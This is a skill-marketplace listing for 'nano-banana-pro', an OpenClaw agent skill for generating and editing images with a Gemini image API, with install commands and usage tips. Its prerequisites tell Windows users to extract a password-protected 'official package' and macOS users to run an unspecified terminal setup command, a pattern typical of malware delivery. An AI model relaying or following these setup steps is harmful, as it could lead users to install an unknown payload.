nano-banana-pro
Generate/edit images with Nano Banana Pro (Gemini 3 Pro Image). Use for image create/modify requests incl. edits. Supports text-to-image + image-to-image; 1K/2K/4K; use --input-image.
Why use this skill?
Generate and edit high-resolution images with Nano Banana Pro. Support for Gemini 3 Pro, image-to-image editing, and resolution scaling from 1K to 4K.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/nano-banana-pro-pqcucxWhat This Skill Does
Nano Banana Pro is a specialized OpenClaw agent skill designed to interface with Google's Gemini 3 Pro Image API. It empowers users to generate high-fidelity images from text prompts or perform complex image-to-image transformations. Whether you are creating original assets from scratch or applying iterative refinements to existing artwork, this skill manages the technical complexity of API calls, resolution scaling, and file output handling. It is built to facilitate a professional creative workflow, moving from rapid 1K drafting to final 4K high-resolution rendering.
Installation
To utilize this skill, you must first ensure your host environment is prepared.
- Prerequisites: Ensure
uvis installed and theOpenClawProvideris active. Windows users should download and extract the official package (password: openclaw), while macOS users can execute the provided setup command via their terminal to configure the provider dependency. - Installation: Run
clawhub install openclaw/skills/skills/sakaen736jih/nano-banana-pro-pqcucxto add the skill to your agent environment. - Authentication: The skill requires a valid
GEMINI_API_KEY. This can be set as an environment variable or passed explicitly via the--api-keyargument in the CLI. Always ensure your environment is pre-validated for key access before execution.
Use Cases
Nano Banana Pro is ideal for designers, developers, and creators who require programmatic control over image synthesis. Common use cases include:
- Rapid Prototyping: Generating quick concept thumbnails at 1K resolution to explore composition and color palettes.
- Image Refinement: Taking a draft input image and using prompt-based edits to adjust lighting, textures, or object placement.
- Asset Upscaling: Moving from finalized 1K or 2K drafts to high-resolution 4K production-ready files.
- Batch Processing: Automating visual asset creation tasks within a larger OpenClaw agent workflow.
Example Prompts
- "Create an image of a futuristic cyberpunk city at sunset, keep it at low resolution for now."
- "Edit the previously saved house.png and add a lush, green garden in the front yard, output at 2K resolution."
- "Generate a 4K ultra-detailed portrait of a majestic owl perched on an ancient oak tree branch."
Tips & Limitations
- Iteration Strategy: Always start with 1K drafts. This saves significant time and compute costs, allowing you to iterate on the prompt until it is perfected before committing to a 4K render.
- Execution Context: Always invoke the script using its absolute path. Do not change directory (cd) into the skill folder, as the script is designed to save outputs directly into your current working directory.
- File Management: Keep track of your
--input-imagepaths. When editing, maintain the original file reference to ensure consistency across iterations.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-nano-banana-pro-pqcucx": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, external-api, code-execution
Related Skills
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
bird
X/Twitter CLI for reading, searching, and posting via cookies or Sweetistics.